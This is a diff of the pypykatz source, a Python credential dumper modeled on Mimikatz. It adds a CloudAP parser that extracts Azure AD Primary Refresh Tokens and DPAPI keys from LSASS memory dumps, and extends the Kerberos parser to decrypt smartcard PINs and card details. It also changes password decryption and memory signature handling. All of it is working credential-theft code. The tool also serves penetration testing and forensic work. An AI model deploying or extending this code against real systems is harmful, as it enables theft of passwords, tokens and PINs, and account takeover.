212 | mimi = pypykatz.parse_minidump_file(filename, packages=args.packages) | |
182 | 213 | results[filename] = mimi |
214 | if args.halt_on_error == True and len(mimi.errors) > 0: | |
215 | raise Exception('Error in modules!') | |
183 | 216 | except Exception as e: |
184 | 217 | files_with_error.append(filename) |
185 | 218 | logging.exception('Error parsing file %s ' % filename) |
191 | 224 | else: |
192 | 225 | logging.info('Parsing file %s' % args.memoryfile) |
193 | 226 | try: |
194 | mimi = pypykatz.parse_minidump_file(args.memoryfile) | |
227 | if args.kerberos_dir is not None and 'all' not in args.packages: | |
228 | args.packages.append('ktickets') | |
229 | mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages) | |
195 | 230 | results[args.memoryfile] = mimi |
231 | if args.halt_on_error == True and len(mimi.errors) > 0: | |
232 | raise Exception('Error in modules!') | |
196 | 233 | except Exception as e: |
197 | 234 | logging.exception('Error while parsing file %s' % args.memoryfile) |
198 | 235 | if args.halt_on_error == True: |
4 | 4 | # |
5 | 5 | import io |
6 | 6 | import logging |
7 | #from pypykatz.commons.common import * | |
8 | #from pypykatz.crypto.des import * | |
9 | #from pypykatz.crypto.aes import AESModeOfOperationCBC | |
10 | #from pypykatz.lsadecryptor.lsa_templates import * | |
11 | 7 | from pypykatz.crypto.RC4 import RC4 |
12 | 8 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor |
13 | 9 | from pypykatz.commons.win_datatypes import LONG |
91 | 87 | self.log('Looking for main struct signature in memory...') |
92 | 88 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) |
93 | 89 | if len(fl) == 0: |
94 | logging.warning('signature not found! %s' % self.decryptor_template.signature.hex()) | |
90 | logging.debug('signature not found! %s' % self.decryptor_template.signature.hex()) | |
95 | 91 | raise Exception('LSA signature not found!') |
96 | 92 | |
97 | 93 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
7 | 7 | from pypykatz import logger |
8 | 8 | from pypykatz.commons.common import hexdump |
9 | 9 | from pypykatz.crypto.des import triple_des, CBC |
10 | from pypykatz.crypto.aes import AESModeOfOperationCBC | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCFB | |
11 | 11 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor |
12 | 12 | |
13 | 13 | class LsaDecryptor_NT6(PackageDecryptor): |
40 | 40 | |
41 | 41 | def find_signature(self): |
42 | 42 | self.log('Looking for main struct signature in memory...') |
43 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature) | |
43 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True) | |
44 | 44 | if len(fl) == 0: |
45 | logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
45 | logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
46 | 46 | raise Exception('LSA signature not found!') |
47 | 47 | |
48 | 48 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
87 | 87 | if size % 8: |
88 | 88 | if not self.aes_key or not self.iv: |
89 | 89 | return cleartext |
90 | cipher = AESModeOfOperationCBC(self.aes_key, iv = self.iv) | |
91 | n = 16 | |
92 | for block in [encrypted[i:i+n] for i in range(0, len(encrypted), n)]: #terrible, terrible workaround | |
93 | cleartext += cipher.decrypt(block) | |
90 | cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv) | |
91 | cleartext = cipher.decrypt(encrypted) | |
94 | 92 | else: |
95 | 93 | if not self.des_key or not self.iv: |
96 | 94 | return cleartext |
97 | #cipher = DES3.new(self.des_key, DES3.MODE_CBC, self.iv[:8]) | |
98 | 95 | cipher = triple_des(self.des_key, CBC, self.iv[:8]) |
99 | 96 | cleartext = cipher.decrypt(encrypted) |
100 | 97 | return cleartext |
26 | 26 | elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: |
27 | 27 | raise Exception('NT 5 is not yet supported!') |
28 | 28 | else: |
29 | for key in templates['nt6']['x86']: | |
29 | keys = [x for x in templates['nt6']['x86']] | |
30 | keys.sort(reverse = True) | |
31 | for key in keys: | |
30 | 32 | yield templates['nt6']['x86'][key] |
31 | 33 | |
32 | 34 | elif sysinfo.architecture == KatzSystemArchitecture.X64: |
35 | 37 | elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: |
36 | 38 | raise Exception('NT 5 is not yet supported!') |
37 | 39 | else: |
38 | for key in templates['nt6']['x64']: | |
40 | keys = [x for x in templates['nt6']['x64']] | |
41 | keys.sort(reverse = True) | |
42 | for key in keys: | |
39 | 43 | yield templates['nt6']['x64'][key] |
40 | 44 | |
41 | 45 |
65 | 65 | Searches for a sequence of bytes in the module identified by module_name |
66 | 66 | """ |
67 | 67 | self.log('Searching for key struct signature') |
68 | fl = self.reader.find_in_module(module_name, self.decryptor_template.signature) | |
68 | fl = self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True) | |
69 | 69 | if len(fl) == 0: |
70 | 70 | raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) |
71 | 71 | return fl[0] |
110 | 110 | bytes_expected: bool :indication that the result of decryption is bytes, no need for encoding |
111 | 111 | trim_zeroes: bool: if a text is expected then this variable tells wether we should trim the trailing zeroes after decryption |
112 | 112 | """ |
113 | ||
113 | 114 | dec_password = None |
114 | if len(enc_password) % 8 == 0: # checking if encrypted password is of correct blocksize | |
115 | temp = self.lsa_decryptor.decrypt(enc_password) | |
116 | if temp and len(temp) > 0: | |
117 | if bytes_expected == False: | |
118 | try: # normal password | |
119 | dec_password = temp.decode('utf-16-le') | |
120 | except: # machine password | |
121 | dec_password = temp.hex() | |
122 | else: # if not machine password, then check if we should trim it | |
123 | if trim_zeroes == True: | |
124 | dec_password = dec_password.rstrip('\x00') | |
125 | else: | |
126 | dec_password = temp | |
127 | ||
128 | else: # special case for (unusable/plaintext?) orphaned credentials | |
129 | dec_password = enc_password | |
115 | temp = self.lsa_decryptor.decrypt(enc_password) | |
116 | if temp and len(temp) > 0: | |
117 | if bytes_expected == False: | |
118 | try: # normal password | |
119 | dec_password = temp.decode('ascii') | |
120 | except: # machine password | |
121 | try: | |
122 | dec_password = temp.decode('utf-8') | |
123 | except: | |
124 | try: | |
125 | dec_password = temp.decode('utf-16-le') | |
126 | except: | |
127 | dec_password = temp.hex() | |
128 | else: # if not machine password, then check if we should trim it | |
129 | if trim_zeroes == True: | |
130 | dec_password = dec_password.rstrip('\x00') | |
131 | else: | |
132 | dec_password = temp | |
130 | 133 | |
131 | 134 | return dec_password |
132 | 135 |
18 | 18 | from .tspkg.decryptor import * |
19 | 19 | from .wdigest.templates import * |
20 | 20 | from .wdigest.decryptor import * |
21 | from .cloudap.templates import * | |
22 | from .cloudap.decryptor import * | |
21 | 23 | |
22 | 24 | __credman__ = ['CredmanTemplate'] |
23 | 25 | __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential'] |
27 | 29 | __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential'] |
28 | 30 | __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential'] |
29 | 31 | __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential'] |
32 | __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential'] | |
30 | 33 | |
31 | 34 | |
32 | __all__ = __credman__ + __dpapi__ + __kerberos__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__⏎ | |
35 | __all__ = __cloudap__ + __credman__ + __dpapi__ + __kerberos__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__⏎ |
0 | import json | |
1 | import hashlib | |
2 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor | |
3 | ||
4 | class CloudapCredential: | |
5 | def __init__(self): | |
6 | self.credtype = 'cloudap' | |
7 | self.luid = None | |
8 | self.sid = None | |
9 | self.cachedir = None | |
10 | self.PRT = None | |
11 | self.key_guid = None | |
12 | self.dpapi_key = None | |
13 | self.dpapi_key_sha1 = None | |
14 | ||
15 | def to_dict(self): | |
16 | t = {} | |
17 | t['credtype'] = self.credtype | |
18 | t['cachedir'] = self.cachedir | |
19 | t['PRT'] = self.PRT | |
20 | t['key_guid'] = self.key_guid | |
21 | t['dpapi_key'] = self.dpapi_key | |
22 | t['dpapi_key_sha1'] = self.dpapi_key_sha1 | |
23 | return t | |
24 | ||
25 | def to_json(self): | |
26 | return json.dumps(self.to_dict()) | |
27 | ||
28 | def __str__(self): | |
29 | t = '\t== Cloudap [%x]==\n' % self.luid | |
30 | t += '\t\tcachedir %s\n' % self.cachedir | |
31 | t += '\t\tPRT %s\n' % self.PRT | |
32 | t += '\t\tkey_guid %s\n' % self.key_guid | |
33 | t += '\t\tdpapi_key %s\n' % self.dpapi_key | |
34 | t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1 | |
35 | return t | |
36 | ||
37 | class CloudapDecryptor(PackageDecryptor): | |
38 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
39 | super().__init__('Cloudap', lsa_decryptor, sysinfo, reader) | |
40 | self.decryptor_template = decryptor_template | |
41 | self.credentials = [] | |
42 | ||
43 | def find_first_entry(self): | |
44 | position = self.find_signature('cloudAP.dll',self.decryptor_template.signature) | |
45 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
46 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) | |
47 | return ptr_entry, ptr_entry_loc | |
48 | ||
49 | def add_entry(self, cloudap_entry): | |
50 | try: | |
51 | cred = CloudapCredential() | |
52 | cred.luid = cloudap_entry.LocallyUniqueIdentifier | |
53 | ||
54 | if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0: | |
55 | return | |
56 | cache = cloudap_entry.cacheEntry.read(self.reader) | |
57 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') | |
58 | if cache.cbPRT != 0 and cache.PRT.value != 0: | |
59 | temp = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True) | |
60 | try: | |
61 | temp = temp.decode() | |
62 | except: | |
63 | pass | |
64 | ||
65 | cred.PRT = temp | |
66 | ||
67 | if cache.toDetermine != 0: | |
68 | unk = cache.toDetermine.read(self.reader) | |
69 | if unk is not None: | |
70 | cred.key_guid = unk.guid.value | |
71 | cred.dpapi_key = self.decrypt_password(unk.unk) | |
72 | cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest() | |
73 | ||
74 | if cred.PRT is None and cred.key_guid is None: | |
75 | return | |
76 | self.credentials.append(cred) | |
77 | except Exception as e: | |
78 | self.log('CloudAP entry parsing error! Reason %s' % e) | |
79 | ||
80 | ||
81 | def start(self): | |
82 | try: | |
83 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() | |
84 | except Exception as e: | |
85 | self.log('Failed to find structs! Reason: %s' % e) | |
86 | return | |
87 | ||
88 | self.reader.move(entry_ptr_loc) | |
89 | entry_ptr = self.decryptor_template.list_entry(self.reader) | |
90 | self.walk_list(entry_ptr, self.add_entry)⏎ |
0 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild | |
1 | from pypykatz.commons.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, DWORD, PVOID, PSID, GUID, DWORD64 | |
2 | from pypykatz.lsadecryptor.package_commons import PackageTemplate | |
3 | ||
4 | class CloudapTemplate(PackageTemplate): | |
5 | def __init__(self): | |
6 | super().__init__('Cloudap') | |
7 | self.signature = None | |
8 | self.first_entry_offset = None | |
9 | self.list_entry = None | |
10 | ||
11 | @staticmethod | |
12 | def get_template(sysinfo): | |
13 | template = CloudapTemplate() | |
14 | if sysinfo.buildnumber <= WindowsBuild.WIN_10_1903.value: | |
15 | return None | |
16 | ||
17 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
18 | template.signature = b'\x44\x8b\x01\x44\x39\x42\x18\x75' | |
19 | template.first_entry_offset = -9 | |
20 | template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY | |
21 | ||
22 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
23 | template.signature = b'\x8b\x31\x39\x72\x10\x75' | |
24 | template.first_entry_offset = -8 | |
25 | template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY | |
26 | ||
27 | else: | |
28 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
29 | ||
30 | template.log_template('list_entry', template.list_entry) | |
31 | return template | |
32 | ||
33 | class PKIWI_CLOUDAP_CACHE_UNK(POINTER): | |
34 | def __init__(self, reader): | |
35 | super().__init__(reader, KIWI_CLOUDAP_CACHE_UNK) | |
36 | ||
37 | class KIWI_CLOUDAP_CACHE_UNK: | |
38 | def __init__(self, reader): | |
39 | self.unk0 = DWORD(reader) | |
40 | self.unk1 = DWORD(reader) | |
41 | self.unk2 = DWORD(reader) | |
42 | self.unkSize = DWORD(reader).value | |
43 | self.guid = GUID(reader) | |
44 | self.unk = reader.read(64) | |
45 | ||
46 | ||
47 | class PKIWI_CLOUDAP_CACHE_LIST_ENTRY(POINTER): | |
48 | def __init__(self, reader): | |
49 | super().__init__(reader, KIWI_CLOUDAP_CACHE_LIST_ENTRY) | |
50 | ||
51 | class KIWI_CLOUDAP_CACHE_LIST_ENTRY: | |
52 | def __init__(self, reader): | |
53 | self.Flink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) | |
54 | self.Blink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) | |
55 | self.unk0 = DWORD(reader) | |
56 | reader.align() | |
57 | self.LockList = PVOID(reader) | |
58 | self.unk1 = PVOID(reader) | |
59 | self.unk2 = PVOID(reader) | |
60 | self.unk3 = PVOID(reader) | |
61 | self.unk4 = PVOID(reader) | |
62 | self.unk5 = PVOID(reader) | |
63 | self.unk6 = DWORD(reader) | |
64 | self.unk7 = DWORD(reader) | |
65 | self.unk8 = DWORD(reader) | |
66 | self.unk9 = DWORD(reader) | |
67 | self.unkLogin0 = PVOID(reader) #PCWSTR | |
68 | self.unkLogin1 = PVOID(reader) #PCWSTR | |
69 | self.toname = reader.read(130) #wchar_t [64 + 1]; | |
70 | reader.align() | |
71 | self.Sid = PSID(reader).value | |
72 | self.unk10 = DWORD(reader) | |
73 | self.unk11 = DWORD(reader) | |
74 | self.unk12 = DWORD(reader) | |
75 | self.unk13 = DWORD(reader) | |
76 | self.toDetermine = PKIWI_CLOUDAP_CACHE_UNK(reader) | |
77 | self.unk14 = PVOID(reader) | |
78 | self.cbPRT = DWORD(reader).value | |
79 | reader.align() | |
80 | self.PRT = PVOID(reader) #PBYTE(reader) | |
81 | ||
82 | class PKIWI_CLOUDAP_LOGON_LIST_ENTRY(POINTER): | |
83 | def __init__(self, reader): | |
84 | super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY) | |
85 | ||
86 | class KIWI_CLOUDAP_LOGON_LIST_ENTRY: | |
87 | def __init__(self, reader): | |
88 | self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader) | |
89 | self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader) | |
90 | self.unk0 = DWORD(reader) | |
91 | self.unk1 = DWORD(reader) | |
92 | self.LocallyUniqueIdentifier = LUID(reader).value | |
93 | self.unk2 = DWORD64(reader) | |
94 | self.unk3 = DWORD64(reader) | |
95 | self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) |
68 | 68 | self.user = LSA_UNICODE_STRING(reader) |
69 | 69 | self.unk8 = ULONG(reader).value |
70 | 70 | reader.align() |
71 | self.server2 = LSA_UNICODE_STRING | |
71 | self.server2 = LSA_UNICODE_STRING(reader) | |
72 | 72 | |
73 | 73 | class PKIWI_CREDMAN_LIST_ENTRY_60_X86(POINTER): |
74 | 74 | def __init__(self, reader): |
50 | 50 | |
51 | 51 | def add_entry(self, dpapi_entry): |
52 | 52 | |
53 | if dpapi_entry and dpapi_entry.keySize > 0 and dpapi_entry.keySize % 8 == 0: | |
53 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: | |
54 | 54 | dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True) |
55 | 55 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() |
56 | 56 |
20 | 20 | self.domainname = None |
21 | 21 | self.luid = None |
22 | 22 | self.tickets = [] |
23 | self.pin = None | |
24 | self.cardinfo = None | |
23 | 25 | |
24 | 26 | def __str__(self): |
25 | 27 | t = '\t== Kerberos ==\n' |
26 | 28 | t += '\t\tUsername: %s\n' % self.username |
27 | 29 | t += '\t\tDomain: %s\n' % self.domainname |
28 | t += '\t\tPassword: %s\n' % self.password | |
30 | if self.password is not None: | |
31 | t += '\t\tPassword: %s\n' % self.password | |
32 | if self.pin is not None: | |
33 | t += '\t\tPIN: %s\n' % self.pin | |
34 | if self.cardinfo is not None: | |
35 | t += '\t\tCARDINFO: \n' | |
36 | t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName'] | |
37 | t += '\t\t\tReaderName: %s\n' % self.cardinfo['ReaderName'] | |
38 | t += '\t\t\tContainerName: %s\n' % self.cardinfo['ContainerName'] | |
39 | t += '\t\t\tCSPName: %s\n' % self.cardinfo['CSPName'] | |
29 | 40 | |
30 | 41 | # TODO: check if users actually need this. |
31 | 42 | # I think it's not useful to print out the kerberos ticket data as string, as noone uses it directly. |
42 | 53 | t['password'] = self.password |
43 | 54 | t['domainname'] = self.domainname |
44 | 55 | t['luid'] = self.luid |
56 | t['pin'] = self.pin | |
57 | t['cardinfo'] = self.cardinfo | |
45 | 58 | t['tickets'] = [] |
46 | 59 | for ticket in self.tickets: |
47 | 60 | t['tickets'] = ticket.to_dict() |
50 | 63 | |
51 | 64 | |
52 | 65 | class KerberosDecryptor(PackageDecryptor): |
53 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
66 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo, with_tickets = True): | |
54 | 67 | super().__init__('Kerberos', lsa_decryptor, sysinfo, reader) |
55 | 68 | self.decryptor_template = decryptor_template |
69 | self.with_tickets = with_tickets | |
56 | 70 | self.credentials = [] |
57 | 71 | |
58 | 72 | self.current_ticket_type = None |
108 | 122 | |
109 | 123 | self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader) |
110 | 124 | self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader) |
111 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
112 | ||
125 | if self.current_cred.username.endswith('$') is True: | |
126 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
127 | if self.current_cred.password is not None: | |
128 | self.current_cred.password = self.current_cred.password.hex() | |
129 | else: | |
130 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
131 | ||
132 | if kerberos_logon_session.SmartcardInfos.value != 0: | |
133 | csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) | |
134 | pin_enc = csp_info.PinCode.read_maxdata(self.reader) | |
135 | self.current_cred.pin = self.decrypt_password(pin_enc) | |
136 | if csp_info.CspDataLength != 0: | |
137 | self.current_cred.cardinfo = csp_info.CspData.get_infos() | |
138 | ||
113 | 139 | #### key list (still in session) this is not a linked list (thank god!) |
114 | 140 | if kerberos_logon_session.pKeyList.value != 0: |
115 | 141 | key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) |
117 | 143 | key_list.read(self.reader, self.decryptor_template.hash_password_struct) |
118 | 144 | for key in key_list.KeyEntries: |
119 | 145 | pass |
146 | ### GOOD | |
147 | #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) | |
148 | #print(keydata_enc) | |
149 | #keydata = self.decrypt_password(keydata_enc, bytes_expected=True) | |
150 | #print(keydata_enc.hex()) | |
151 | #input('KEY?') | |
152 | ||
153 | ||
120 | 154 | #print(key.generic.Checksump.value) |
121 | 155 | |
122 | 156 | #self.log_ptr(key.generic.Checksump.value, 'Checksump', datasize = key.generic.Size) |
167 | 201 | # |
168 | 202 | #input() |
169 | 203 | |
170 | ||
171 | if kerberos_logon_session.Tickets_1.Flink.value != 0 and \ | |
172 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \ | |
173 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 : | |
174 | self.current_ticket_type = KerberosTicketType.TGS | |
175 | self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
176 | ||
177 | if kerberos_logon_session.Tickets_2.Flink.value != 0 and \ | |
178 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \ | |
179 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 : | |
180 | self.current_ticket_type = KerberosTicketType.CLIENT | |
181 | self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
182 | ||
183 | if kerberos_logon_session.Tickets_3.Flink.value != 0 and \ | |
184 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \ | |
185 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 : | |
186 | self.current_ticket_type = KerberosTicketType.TGT | |
187 | self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
188 | self.current_ticket_type = None | |
204 | if self.with_tickets is True: | |
205 | if kerberos_logon_session.Tickets_1.Flink.value != 0 and \ | |
206 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \ | |
207 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 : | |
208 | self.current_ticket_type = KerberosTicketType.TGS | |
209 | self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
210 | ||
211 | if kerberos_logon_session.Tickets_2.Flink.value != 0 and \ | |
212 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \ | |
213 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 : | |
214 | self.current_ticket_type = KerberosTicketType.CLIENT | |
215 | self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
216 | ||
217 | if kerberos_logon_session.Tickets_3.Flink.value != 0 and \ | |
218 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \ | |
219 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 : | |
220 | self.current_ticket_type = KerberosTicketType.TGT | |
221 | self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
222 | self.current_ticket_type = None | |
189 | 223 | self.credentials.append(self.current_cred) |
190 | 224 | |
191 | 225 | ⏎ |
33 | 33 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 |
34 | 34 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 |
35 | 35 | template.hash_password_struct = KERB_HASHPASSWORD_5 |
36 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5 | |
36 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
37 | 37 | |
38 | 38 | |
39 | 39 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: |
43 | 43 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 |
44 | 44 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 |
45 | 45 | template.hash_password_struct = KERB_HASHPASSWORD_5 |
46 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5 | |
46 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
47 | 47 | |
48 | 48 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: |
49 | 49 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' |
52 | 52 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 |
53 | 53 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
54 | 54 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
55 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60 | |
55 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
56 | 56 | |
57 | 57 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: |
58 | 58 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' |
61 | 61 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 |
62 | 62 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
63 | 63 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
64 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60 | |
64 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
65 | 65 | |
66 | 66 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: |
67 | 67 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' |
70 | 70 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 |
71 | 71 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
72 | 72 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
73 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62 | |
73 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 | |
74 | 74 | |
75 | 75 | elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: |
76 | 76 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' |
79 | 79 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 |
80 | 80 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
81 | 81 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
82 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10 | |
82 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
83 | 83 | |
84 | 84 | elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: |
85 | 85 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' |
88 | 88 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10 |
89 | 89 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
90 | 90 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
91 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10 | |
91 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
92 | 92 | |
93 | 93 | |
94 | 94 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: |
98 | 98 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 |
99 | 99 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
100 | 100 | template.hash_password_struct = KERB_HASHPASSWORD_6_1607 |
101 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10 | |
101 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
102 | 102 | |
103 | 103 | else: |
104 | 104 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) |
112 | 112 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 |
113 | 113 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 |
114 | 114 | template.hash_password_struct = KERB_HASHPASSWORD_5 |
115 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5 | |
115 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
116 | 116 | |
117 | 117 | |
118 | 118 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: |
122 | 122 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 |
123 | 123 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 |
124 | 124 | template.hash_password_struct = KERB_HASHPASSWORD_5 |
125 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5 | |
125 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
126 | 126 | |
127 | 127 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: |
